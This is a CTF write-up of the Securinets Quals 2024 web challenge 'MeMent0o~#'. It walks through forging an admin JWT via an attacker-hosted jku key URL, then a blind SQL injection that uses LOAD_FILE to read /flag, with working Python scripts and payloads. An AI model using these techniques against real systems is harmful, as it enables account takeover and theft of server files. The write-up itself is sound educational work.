# Securinets Quals 2024 > MeMent0o~#
CTF weight : 95.96
Placement: 16/332
MeMent0o~#
points: 330
solves: 18
format: securinets{HEX_NUMBER}
In this challenge we are given the source code of the website.
We also got informed that the website is active on two ports 80 and 1234
Files: mement0o.zip
PART 1: Understanding
let's start by visiting the first app which is running on port 80 http://web1.securinets.tn:80/we get a nav bar with two button register and login so we tried making a new account, but after that something weird happens
everytime we visit any page we keep getting the error ERR_TOO_MANY_REDIRECTS.
there is probably somthing* in the code that does more than 20 redirects which is the max of most browsers
okay now enoguh with that let's visit the second url http://web1.securinets.tn:1234/. NVM, we got a response but it's just a 404 page not found :((
PART 2: Source code review
Okay.. now we have clear mission. let's find out where are all of these redirects coming fromthe first app running on port 80 is written in python/flask and after reading the app.py file we found out there are three paths.
/notes, /note/<int:note_id> and /note/<int:note_id>/delete
and exactly in /notes/ we find a of possibility SQL Injection. since they are taking user's inputs directly and inserting it through query!
but if we want to somehow mess with this. we see that all of these routes call @admin_required
this code checks if our username is admin to gives up permessions. so as I tried creating a user with name "admin" but seemed like a user with that username already exists. so the app doesn't allow us to create a new one with that username...
we know that somehow we need to get admins creds in order to login with admin account and potentially try some SQL injection.
DEAD END--- let's try to look at the other app in port 1234 which is written in golang
we found 4 routes on this app
however /get_creds and /get_secret_key requires admin authentication.
something interesting about this app is that it uses JWT auth. so let's try to understand how it works and how are they verifying if whether I'm the admin or not.
I tried sending post request to /register with a random username and password (testy:testy). and got this website
after pasting this JWT token into jwt.io we get this result.
PART 3: JWT corruption
reminder: we have a path called /get_creds which expect a JWT token and return the user credentials (username,password)after 1 hour of trying to simply just change username in the payload to admin and resign the JWT token again using the private key.
I kept getting an error while sending it to /get_creds which says Invalid token: invalid signature*. it was confirmed by the author that the keypair.pem in the source code was changed on production. so simply we don't have the private key that is being used ϖ_ϖ
hmm so there must something else. what is this jku in the headers?
after digging through the code and understanding it better. it looks like they are stroing the public key inside the the path ./well-known/jwks.json and refering to it into the headers.
localhost:8080 is refering to the app running on port 1234 in this case, we can confirm that by reading the docker-compose.yml ports: - "1234:8080"
and here is how their code retrive the public key to verify the validation of the JWT token:
the app is simply sending get request to whatever is the jku header is set to. retrieving the public key from it.
which means... I can create a new keypair of pirvate and public keys, craft a JWT token with username: admin set the jku header to http://mywebsite/jku where im placing my public key over there and then sign the JWT using my private key. btw there were some some kid verifications, so I just used a copy of their function app.go/jwks() with my publick key to create the jku url content. here is a preview of our crafted JWT and the python code used to generate it
import jwt
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
# load private key from keypair.pem
with open("keypair.pem", "rb") as key_file:
private_key = serialization.load_pem_private_key(key_file.read(),password=None,backend=default_backend())
payload = {
"username": "admin"
}
headers = {
"alg": "RS256", # Algorithm for signing
"typ": "JWT", # Type of the token
"jku": "https://webhook.site/4a0469d3-0f24-4ec4-a756-0d554f1064f7", # JSON Web Key Set URL
"kid": "001122334455" # Key ID
}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print("JWT Token:", token)
after sending this JWT to /get_creds we recieve the user credentials!
admin:126b8b5bb9a20643693c64543a493bcd85f920ff we have the admin password now let's go back to first app and try to sign in.. it worked!!
PART 4: BLIND SQL INJECTION
here is the /notes page preview from the admin account. we have a search bar where can use it to find notes using titlesin part 2 we talked about the possibility of sql injection and here is the code we found in app.py
let's ignore the POST part because it's about adding a new note and after looking throught it, it looks useless.
so from what we see here they're taking our input searching if a title includes our {search} and returning the content, however there was a intendend bug in their site which instead of printing the content you just recieve a computer symbol if it matches. for example after leaving it empty which will lead to LIKE '%%' which should match everything we recieve 2 computer symbols which tells us there are two matches.
at first i thought we can just leak the flag by changing the query so it checks if the content of the note includes my {input} as well before printing it, but then I realised the flag is not even in the database but it's in a text file /flag instead!
I started by sending %' AND 1=2;# in the input field
SELECT * FROM notes WHERE title LIKE '%%' AND 1=2;# %'
with this query we will get 0 outputs(computer symbols) because there is never a case where 1=2after asking chat GPT we find that mysql have a function called READ_FILE which returns the file content if found otherwise NULL
with that I also used UNION to bring more data into our SELECT and came up with this payload
%' AND 1=2 UNION SELECT 1,2,3 FROM (SELECT LOAD_FILE('/flag') AS content) AS subquery WHERE content LIKE 'securi%';#
SELECT * FROM notes WHERE title LIKE '%%' AND 1=2 UNION SELECT 1,2,3 FROM (SELECT LOAD_FILE('/flag') AS content) AS subquery WHERE content LIKE 'securi%';# %'
this will return a match since the content of /flag starts with securi know we have a payload that we can change anything instead of securi and if the content of file starts with that it will return a computer smybol otherwise it won't. so I made a simple python script to automate that
PART 5: Final payload
import requests
import urllib.parse
confirmed_flag = "" # the flag found so far
url = "http://web1.securinets.tn/notes?search="
alphas = "abcdefghijklmnopqrstuvwxyz1234567890{}" #possible_chars
cookies = {"session":"28d1de0946822fb5_670afeb6.d0K5YwPnOxymhhshUUDPn7Lfqr0"}
while True:
for alpha in alphas:
payload = f"%' AND 1=2 UNION SELECT 1,2,3 FROM(SELECT LOAD_FILE('/flag') AS content) AS subquery WHERE content LIKE '{confirmed_flag+alpha}%' ;#"
full_url = url+urllib.parse.quote_plus(payload) # url encode payload since it will be in the params
found = requests.get(full_url,cookies=cookies).text.count("<h3>") # each time we get a computer symbol it's inside an h3 tag
if found:
confirmed_flag += alpha
break
print(confirmed_flag)
and after ~1 minute of excution we get our flag